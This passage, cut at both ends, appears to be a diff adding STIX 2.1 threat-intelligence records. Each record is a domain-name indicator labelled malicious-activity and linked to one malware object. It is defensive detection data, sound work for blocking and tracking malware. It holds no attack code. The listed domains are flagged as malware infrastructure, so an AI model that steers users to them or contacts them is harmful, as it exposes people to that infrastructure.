"indicator--16127761-be43-4b06-9040-57a6190ee4d7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--206fea8b-5ad3-4d06-96ea-22374181e7b3", + "created": "2023-03-29T12:58:44.787717Z", + "modified": "2023-03-29T12:58:44.787717Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='economistdebit.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.787717Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c38ef8aa-ccfe-40b9-84c9-24b76226c908", + "created": "2023-03-29T12:58:44.78831Z", + "modified": "2023-03-29T12:58:44.78831Z", + "relationship_type": "indicates", + "source_ref": "indicator--206fea8b-5ad3-4d06-96ea-22374181e7b3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--190c6ac3-96ae-4158-85cc-04aac874b7eb", + "created": "2023-03-29T12:58:44.788478Z", + "modified": "2023-03-29T12:58:44.788478Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='firstjeepplus.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.788478Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f78870f7-4164-4618-9354-a766f8df281e", + "created": "2023-03-29T12:58:44.789072Z", + "modified": "2023-03-29T12:58:44.789072Z", + "relationship_type": "indicates", + "source_ref": "indicator--190c6ac3-96ae-4158-85cc-04aac874b7eb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--56046fe9-a6ab-46c3-9264-09bcb25986ed", + "created": "2023-03-29T12:58:44.78924Z", + "modified": "2023-03-29T12:58:44.78924Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='slitdeodorize.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.78924Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dc4488a0-f85d-4e75-9c92-af73266965ab", + "created": "2023-03-29T12:58:44.78984Z", + "modified": "2023-03-29T12:58:44.78984Z", + "relationship_type": "indicates", + "source_ref": "indicator--56046fe9-a6ab-46c3-9264-09bcb25986ed", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fdf1d6aa-0906-4bab-b2a9-953d0cbeaa27", + "created": "2023-03-29T12:58:44.790011Z", + "modified": "2023-03-29T12:58:44.790011Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='checkstop.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.790011Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6b022f11-1b60-4ff3-b252-4478162d8c84", + "created": "2023-03-29T12:58:44.790602Z", + "modified": "2023-03-29T12:58:44.790602Z", + "relationship_type": "indicates", + "source_ref": "indicator--fdf1d6aa-0906-4bab-b2a9-953d0cbeaa27", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--596fae0b-f53c-471f-ad4f-8b10d442c790", + "created": "2023-03-29T12:58:44.790771Z", + "modified": "2023-03-29T12:58:44.790771Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='visitorsilo.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.790771Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a82a993a-2baa-4445-ae20-64a249777082", + "created": "2023-03-29T12:58:44.791356Z", + "modified": "2023-03-29T12:58:44.791356Z", + "relationship_type": "indicates", + "source_ref": "indicator--596fae0b-f53c-471f-ad4f-8b10d442c790", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--84b1fe42-e1bb-4176-ae70-ddb0b4a0e79c", + "created": "2023-03-29T12:58:44.791523Z", + "modified": "2023-03-29T12:58:44.791523Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fast3car.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.791523Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--59ea352c-d6da-4825-ac03-4106c343f132", + "created": "2023-03-29T12:58:44.792206Z", + "modified": "2023-03-29T12:58:44.792206Z", + "relationship_type": "indicates", + "source_ref": "indicator--84b1fe42-e1bb-4176-ae70-ddb0b4a0e79c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cdb320b8-3108-4905-8635-d74b6208182a", + "created": "2023-03-29T12:58:44.792382Z", + "modified": "2023-03-29T12:58:44.792382Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='weatherarch.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.792382Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5003a76a-462e-4033-b5ec-996521a33065", + "created": "2023-03-29T12:58:44.792974Z", + "modified": "2023-03-29T12:58:44.792974Z", + "relationship_type": "indicates", + "source_ref": "indicator--cdb320b8-3108-4905-8635-d74b6208182a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5c2b86d5-5bda-43e2-9819-4c732f5873fc", + "created": "2023-03-29T12:58:44.793143Z", + "modified": "2023-03-29T12:58:44.793143Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='outlasthangup.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.793143Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--66060078-aaf6-4b1d-b288-e512a09f3390", + "created": "2023-03-29T12:58:44.793875Z", + "modified": "2023-03-29T12:58:44.793875Z", + "relationship_type": "indicates", + "source_ref": "indicator--5c2b86d5-5bda-43e2-9819-4c732f5873fc", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a9516692-d461-4ac1-9e41-39ab8a2ace8c", + "created": "2023-03-29T12:58:44.794049Z", + "modified": "2023-03-29T12:58:44.794049Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='elaboratetattling.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.794049Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6f2ddcf3-e416-4270-b987-a61f05b25ba1", + "created": "2023-03-29T12:58:44.794647Z", + "modified": "2023-03-29T12:58:44.794647Z", + "relationship_type": "indicates", + "source_ref": "indicator--a9516692-d461-4ac1-9e41-39ab8a2ace8c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ff3c2127-5176-4948-aea1-88e4485ed851", + "created": "2023-03-29T12:58:44.794817Z", + "modified": "2023-03-29T12:58:44.794817Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='handrailcesspool.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.794817Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e4db1cd9-1186-4bce-b341-de24c545df69", + "created": "2023-03-29T12:58:44.795413Z", + "modified": "2023-03-29T12:58:44.795413Z", + "relationship_type": "indicates", + "source_ref": "indicator--ff3c2127-5176-4948-aea1-88e4485ed851", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5b0e15c0-60d5-4caf-83d2-da525991dad4", + "created": "2023-03-29T12:58:44.79561Z", + "modified": "2023-03-29T12:58:44.79561Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='reverbscraggly.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.79561Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--11d1e0d8-58e5-4c46-aba7-70b41218a92f", + "created": "2023-03-29T12:58:44.796208Z", + "modified": "2023-03-29T12:58:44.796208Z", + "relationship_type": "indicates", + "source_ref": "indicator--5b0e15c0-60d5-4caf-83d2-da525991dad4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--636f41c7-2ac0-4ecd-bda7-61f00b5edcd6", + "created": "2023-03-29T12:58:44.796377Z", + "modified": "2023-03-29T12:58:44.796377Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='provableatop.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.796377Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9b6e623c-a3c9-41d6-804f-0d8527ee322a", + "created": "2023-03-29T12:58:44.796961Z", + "modified": "2023-03-29T12:58:44.796961Z", + "relationship_type": "indicates", + "source_ref": "indicator--636f41c7-2ac0-4ecd-bda7-61f00b5edcd6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--612fa735-7c4d-4f3b-969e-b55cbbd01ed2", + "created": "2023-03-29T12:58:44.79713Z", + "modified": "2023-03-29T12:58:44.79713Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='handbrakeattest.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.79713Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c2d73546-a5e2-406d-b2cc-9eaf7a9a96af", + "created": "2023-03-29T12:58:44.797737Z", + "modified": "2023-03-29T12:58:44.797737Z", + "relationship_type": "indicates", + "source_ref": "indicator--612fa735-7c4d-4f3b-969e-b55cbbd01ed2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--447e568f-5d4f-4594-8aaf-216bfc4d89e8", + "created": "2023-03-29T12:58:44.797906Z", + "modified": "2023-03-29T12:58:44.797906Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='raffleconstrict.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.797906Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0189f2b0-f26a-4c37-af7f-858523b4c421", + "created": "2023-03-29T12:58:44.798502Z", + "modified": "2023-03-29T12:58:44.798502Z", + "relationship_type": "indicates", + "source_ref": "indicator--447e568f-5d4f-4594-8aaf-216bfc4d89e8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--eb1917d0-7bc7-4224-b2e1-1f2ae9caf022", + "created": "2023-03-29T12:58:44.798674Z", + "modified": "2023-03-29T12:58:44.798674Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tuitionpants.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.798674Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1fc49cec-8907-4a05-b371-400d12a9a26e", + "created": "2023-03-29T12:58:44.799268Z", + "modified": "2023-03-29T12:58:44.799268Z", + "relationship_type": "indicates", + "source_ref": "indicator--eb1917d0-7bc7-4224-b2e1-1f2ae9caf022", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--484c197c-45ef-4338-9094-945e97c168bb", + "created": "2023-03-29T12:58:44.799436Z", + "modified": "2023-03-29T12:58:44.799436Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='twinstipoff.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.799436Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e7a47be2-be15-473e-ae65-1d1d8b38e6b5", + "created": "2023-03-29T12:58:44.800026Z", + "modified": "2023-03-29T12:58:44.800026Z", + "relationship_type": "indicates", + "source_ref": "indicator--484c197c-45ef-4338-9094-945e97c168bb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ca5de414-702b-4f2d-866e-d7d34bb5f860", + "created": "2023-03-29T12:58:44.800193Z", + "modified": "2023-03-29T12:58:44.800193Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='matadortraitor.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.800193Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c156c59d-246d-4fb5-a8d6-11bfee513619", + "created": "2023-03-29T12:58:44.80118Z", + "modified": "2023-03-29T12:58:44.80118Z", + "relationship_type": "indicates", + "source_ref": "indicator--ca5de414-702b-4f2d-866e-d7d34bb5f860", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--edac488b-b385-452f-9062-327cb769b853", + "created": "2023-03-29T12:58:44.801354Z", + "modified": "2023-03-29T12:58:44.801354Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='panoramaroulette.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.801354Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ab5d0f42-6f46-42b8-94f8-a0640055e00a", + "created": "2023-03-29T12:58:44.801958Z", + "modified": "2023-03-29T12:58:44.801958Z", + "relationship_type": "indicates", + "source_ref": "indicator--edac488b-b385-452f-9062-327cb769b853", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b7e1fa0e-8e87-46ae-b0bb-32868b87232a", + "created": "2023-03-29T12:58:44.802127Z", + "modified": "2023-03-29T12:58:44.802127Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='broadbandrekindle.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.802127Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9378f3a9-4cce-4584-a122-3085a3779e66", + "created": "2023-03-29T12:58:44.802731Z", + "modified": "2023-03-29T12:58:44.802731Z", + "relationship_type": "indicates", + "source_ref": "indicator--b7e1fa0e-8e87-46ae-b0bb-32868b87232a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--501808b7-3008-42a1-8d63-8795ce88d820", + "created": "2023-03-29T12:58:44.802906Z", + "modified": "2023-03-29T12:58:44.802906Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stockoneman.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.802906Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a79b39af-9f8e-4092-89aa-22802d18ee37", + "created": "2023-03-29T12:58:44.803494Z", + "modified": "2023-03-29T12:58:44.803494Z", + "relationship_type": "indicates", + "source_ref": "indicator--501808b7-3008-42a1-8d63-8795ce88d820", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dc777a65-3b2d-4ae9-8a8e-0a6821839834", + "created": "2023-03-29T12:58:44.803666Z", + "modified": "2023-03-29T12:58:44.803666Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unsmoothpalpable.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.803666Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a1fb3c7e-35c1-4dd8-8122-a5411fcb314e", + "created": "2023-03-29T12:58:44.804288Z", + "modified": "2023-03-29T12:58:44.804288Z", + "relationship_type": "indicates", + "source_ref": "indicator--dc777a65-3b2d-4ae9-8a8e-0a6821839834", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--afa367b0-4891-44b6-bde6-3b8c2c272f4b", + "created": "2023-03-29T12:58:44.804459Z", + "modified": "2023-03-29T12:58:44.804459Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pantrytrunks.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.804459Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1263a997-97e3-4b0a-b9cf-0f6b9114c62e", + "created": "2023-03-29T12:58:44.805056Z", + "modified": "2023-03-29T12:58:44.805056Z", + "relationship_type": "indicates", + "source_ref": "indicator--afa367b0-4891-44b6-bde6-3b8c2c272f4b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cb0000d9-d3b1-4a0d-a17e-8e46f83ed84b", + "created": "2023-03-29T12:58:44.805226Z", + "modified": "2023-03-29T12:58:44.805226Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='earthenbarmaid.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.805226Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6c6ce493-1964-4e01-827a-f6395461f119", + "created": "2023-03-29T12:58:44.805822Z", + "modified": "2023-03-29T12:58:44.805822Z", + "relationship_type": "indicates", + "source_ref": "indicator--cb0000d9-d3b1-4a0d-a17e-8e46f83ed84b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b522a6c6-2988-489e-94ce-8f575dc24658", + "created": "2023-03-29T12:58:44.805992Z", + "modified": "2023-03-29T12:58:44.805992Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='giantdreamer.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.805992Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a69a3e51-d9db-4563-9b3e-ab0b1d77175f", + "created": "2023-03-29T12:58:44.806581Z", + "modified": "2023-03-29T12:58:44.806581Z", + "relationship_type": "indicates", + "source_ref": "indicator--b522a6c6-2988-489e-94ce-8f575dc24658", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--141426e2-9d7f-42ee-85de-27e38d9ee5cb", + "created": "2023-03-29T12:58:44.806749Z", + "modified": "2023-03-29T12:58:44.806749Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unmarkedkinswoman.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.806749Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--43b00194-0c0e-4c07-a168-b4b2fa09d2e6", + "created": "2023-03-29T12:58:44.807345Z", + "modified": "2023-03-29T12:58:44.807345Z", + "relationship_type": "indicates", + "source_ref": "indicator--141426e2-9d7f-42ee-85de-27e38d9ee5cb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a1dfc33f-7412-4e6b-ac24-cd32625edd8a", + "created": "2023-03-29T12:58:44.807512Z", + "modified": "2023-03-29T12:58:44.807512Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='realcartfixer.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.807512Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3bf65b9a-f7ab-4f01-ad56-289aab32f8ca", + "created": "2023-03-29T12:58:44.808102Z", + "modified": "2023-03-29T12:58:44.808102Z", + "relationship_type": "indicates", + "source_ref": "indicator--a1dfc33f-7412-4e6b-ac24-cd32625edd8a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--604f9ba1-459b-4b1b-a46c-a58b8badacf2", + "created": "2023-03-29T12:58:44.808274Z", + "modified": "2023-03-29T12:58:44.808274Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='swimmablespoiler.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.808274Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--eadaf09c-9506-423a-8330-c2226289af62", + "created": "2023-03-29T12:58:44.808993Z", + "modified": "2023-03-29T12:58:44.808993Z", + "relationship_type": "indicates", + "source_ref": "indicator--604f9ba1-459b-4b1b-a46c-a58b8badacf2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7be17bbe-c7a6-48bb-96ca-49c7aa8a9743", + "created": "2023-03-29T12:58:44.809162Z", + "modified": "2023-03-29T12:58:44.809162Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='eternaltyke.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.809162Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fb854edc-828e-4769-8045-261d26a235c4", + "created": "2023-03-29T12:58:44.809763Z", + "modified": "2023-03-29T12:58:44.809763Z", + "relationship_type": "indicates", + "source_ref": "indicator--7be17bbe-c7a6-48bb-96ca-49c7aa8a9743", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b761b046-8abe-4cc5-82bc-6a2a1ae3a551", + "created": "2023-03-29T12:58:44.809934Z", + "modified": "2023-03-29T12:58:44.809934Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nextgenprojects.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.809934Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1eef68a4-e893-41c1-8bd7-204cf480b2c5", + "created": "2023-03-29T12:58:44.810532Z", + "modified": "2023-03-29T12:58:44.810532Z", + "relationship_type": "indicates", + "source_ref": "indicator--b761b046-8abe-4cc5-82bc-6a2a1ae3a551", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--746a595a-41a7-4547-bbbf-4cd758705308", + "created": "2023-03-29T12:58:44.810701Z", + "modified": "2023-03-29T12:58:44.810701Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unopenedtablet.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.810701Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e8cf9bd4-e46c-44ca-b1f3-bfaf6070e1d1", + "created": "2023-03-29T12:58:44.811292Z", + "modified": "2023-03-29T12:58:44.811292Z", + "relationship_type": "indicates", + "source_ref": "indicator--746a595a-41a7-4547-bbbf-4cd758705308", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--627cc251-1c5e-4439-a313-b7cf33e9d653", + "created": "2023-03-29T12:58:44.811458Z", + "modified": "2023-03-29T12:58:44.811458Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='escapableunderfoot.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.811458Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0e2bfcbc-b0d1-46a9-ba83-a4388ea47bbd", + "created": "2023-03-29T12:58:44.812057Z", + "modified": "2023-03-29T12:58:44.812057Z", + "relationship_type": "indicates", + "source_ref": "indicator--627cc251-1c5e-4439-a313-b7cf33e9d653", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e439f3a0-d517-46de-ad10-0dde33df3783", + "created": "2023-03-29T12:58:44.812226Z", + "modified": "2023-03-29T12:58:44.812226Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='headphonedice.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.812226Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b7d4a9d2-eef8-41a4-be8d-0ac5e1cbdc15", + "created": "2023-03-29T12:58:44.812817Z", + "modified": "2023-03-29T12:58:44.812817Z", + "relationship_type": "indicates", + "source_ref": "indicator--e439f3a0-d517-46de-ad10-0dde33df3783", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9262b4d3-f36e-43c5-bfa7-cc477c3ee3f4", + "created": "2023-03-29T12:58:44.812987Z", + "modified": "2023-03-29T12:58:44.812987Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='worthyumbrella.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.812987Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fe7601a8-1f60-400f-b74d-bd3c033f7334", + "created": "2023-03-29T12:58:44.81358Z", + "modified": "2023-03-29T12:58:44.81358Z", + "relationship_type": "indicates", + "source_ref": "indicator--9262b4d3-f36e-43c5-bfa7-cc477c3ee3f4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0cf47465-0e2a-4cff-827c-30936b1d3ca4", + "created": "2023-03-29T12:58:44.813749Z", + "modified": "2023-03-29T12:58:44.813749Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pikiram-rakyat.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.813749Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7247ddd0-019c-423e-ab9b-85d7a0fbca7c", + "created": "2023-03-29T12:58:44.814347Z", + "modified": "2023-03-29T12:58:44.814347Z", + "relationship_type": "indicates", + "source_ref": "indicator--0cf47465-0e2a-4cff-827c-30936b1d3ca4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8b9db34a-948a-4c70-9af4-cc3d4135ddfc", + "created": "2023-03-29T12:58:44.814516Z", + "modified": "2023-03-29T12:58:44.814516Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='subsidegumdrop.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.814516Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d0f5abc6-8b63-4c68-beca-574f38597554", + "created": "2023-03-29T12:58:44.815107Z", + "modified": "2023-03-29T12:58:44.815107Z", + "relationship_type": "indicates", + "source_ref": "indicator--8b9db34a-948a-4c70-9af4-cc3d4135ddfc", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--01e1977a-09a7-435a-ae7d-a32c574aa40f", + "created": "2023-03-29T12:58:44.815274Z", + "modified": "2023-03-29T12:58:44.815274Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='goofinessyard.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.815274Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9dc2ee89-3fbf-4f40-b123-18e21e7feb0f", + "created": "2023-03-29T12:58:44.815987Z", + "modified": "2023-03-29T12:58:44.815987Z", + "relationship_type": "indicates", + "source_ref": "indicator--01e1977a-09a7-435a-ae7d-a32c574aa40f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--39ef7529-fef8-4192-860e-c8b1cddd1ffe", + "created": "2023-03-29T12:58:44.816158Z", + "modified": "2023-03-29T12:58:44.816158Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='grandpaporthole.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.816158Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": 